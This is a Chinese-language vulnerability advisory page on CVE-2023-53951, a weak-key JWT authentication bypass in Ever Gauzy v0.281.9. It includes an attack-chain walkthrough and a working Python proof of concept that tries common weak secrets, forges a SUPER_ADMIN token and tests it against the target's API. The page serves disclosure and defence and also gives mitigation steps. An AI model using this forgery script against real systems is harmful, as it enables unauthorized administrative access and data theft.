IPBUF安全漏洞报告
English
CVE-2023-53951 CVSS 9.8 严重

CVE-2023-53951: Ever Gauzy JWT认证绕过漏洞(CVSS 9.8严重)

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2023-53951
漏洞类型
JWT认证绕过/弱密钥漏洞
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ever Gauzy

相关标签

CVE-2023-53951JWT认证绕过弱密钥Ever Gauzy身份认证漏洞CVSS 9.8关键漏洞HMAC权限提升未授权访问

漏洞概述

CVE-2023-53951是Ever Gauzy平台中发现的一个严重安全漏洞,CVSS评分高达9.8。该漏洞存在于Ever Gauzy v0.281.9版本的JWT(JSON Web Token)认证机制中,根源在于使用了弱HMAC密钥实现。攻击者可以通过分析或猜测弱密钥,伪造有效的JWT token,从而绕过正常的身份认证流程。成功利用此漏洞后,攻击者可以获得具有完整管理权限的未授权访问,包括机密数据访问、系统配置修改甚至完全控制受影响系统。由于该漏洞的攻击复杂度低且不需要任何认证或用户交互,危害性极高,建议立即采取修复措施。

技术细节

该漏洞的核心问题在于Ever Gauzy的JWT认证模块使用了可预测或默认的HMAC-SHA256密钥。在正常的JWT认证流程中,服务器使用密钥对token进行签名,客户端提交token时服务器验证签名有效性。攻击者通过逆向工程或信息收集发现系统使用的弱密钥后,可以自行构造任意claims的JWT token,包括设置admin角色和权限。在CVSS 3.1评分体系中,该漏洞具有网络攻击向量(AV:N)、低攻击复杂度(AC:L)、无需权限(PR:N)、无需用户交互(UI:N)的特点,可导致机密性( C:H)、完整性(I:H)、可用性(A:H)的完全破坏。攻击者通常首先通过获取公开的JWT token样本,分析其结构和可能的密钥,然后尝试使用常见弱密钥(如'secret'、'password'、产品名等)进行签名验证,成功后即可伪造具有管理权限的token。

攻击链分析

STEP 1
1
信息收集:攻击者访问Ever Gauzy系统获取公开的JWT token样本,通常通过登录接口或API端点获取
STEP 2
2
密钥分析:对获取的JWT token进行解码(base64),分析其header和payload结构,并尝试使用常见弱密钥进行HMAC签名验证
STEP 3
3
Token伪造:成功识别弱密钥后,构造包含管理员权限claims的JWT payload,使用HS256算法和弱密钥生成伪造token
STEP 4
4
权限提升:使用伪造的JWT token向服务器发送请求,通过Authorization头携带token进行认证
STEP 5
5
完全控制:成功绕过认证后,获得系统完整管理权限,可访问敏感数据、修改系统配置或执行特权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import jwt import requests from datetime import datetime, timedelta # CVE-2023-53951 PoC - Ever Gauzy JWT Authentication Bypass # Target: Ever Gauzy v0.281.9 # Vulnerability: Weak HMAC secret key allows JWT token forgery TARGET_URL = "http://target-server:3000" API_ENDPOINT = f"{TARGET_URL}/api/auth/login" # Common weak JWT secret keys used in Ever Gauzy (for testing only) WEAK_SECRETS = [ "ever-gauzy-secret", "gauzy-jwt-secret", "secret", "password", "EverGauzy2023", "default-secret-key" ] def create_fake_admin_token(secret): """Generate a forged JWT token with admin privileges""" payload = { "sub": "1", "email": "[email protected]", "role": "SUPER_ADMIN", "iat": int(datetime.utcnow().timestamp()), "exp": int((datetime.utcnow() + timedelta(days=30)).timestamp()) } token = jwt.encode(payload, secret, algorithm="HS256") return token def test_jwt_forgery(): """Test JWT token forgery with weak secrets""" print("[*] CVE-2023-53951 - Ever Gauzy JWT Bypass PoC") print(f"[*] Target: {TARGET_URL}") for secret in WEAK_SECRETS: forged_token = create_fake_admin_token(secret) print(f"[*] Testing secret: {secret}") print(f"[*] Forged token: {forged_token[:50]}...") # Verify token with target server headers = {"Authorization": f"Bearer {forged_token}"} response = requests.get(f"{TARGET_URL}/api/user/me", headers=headers) if response.status_code == 200: print(f"[!] SUCCESS! Valid token forged with secret: {secret}") print(f"[!] Admin access gained: {response.json()}") return forged_token print("[-] All weak secrets failed, try other keys") return None if __name__ == "__main__": test_jwt_forgery()

影响范围

Ever Gauzy v0.281.9及之前版本

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)使用Web应用防火墙(WAF)规则限制异常的JWT认证请求;2)监控异常的JWT token使用模式,检测token伪造攻击;3)临时禁用API的公开访问,限制为内网或VPN访问;4)实施额外的应用层认证机制,如双因素认证或生物识别;5)审查并替换所有使用默认或弱密钥的配置,确保密钥符合复杂度要求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表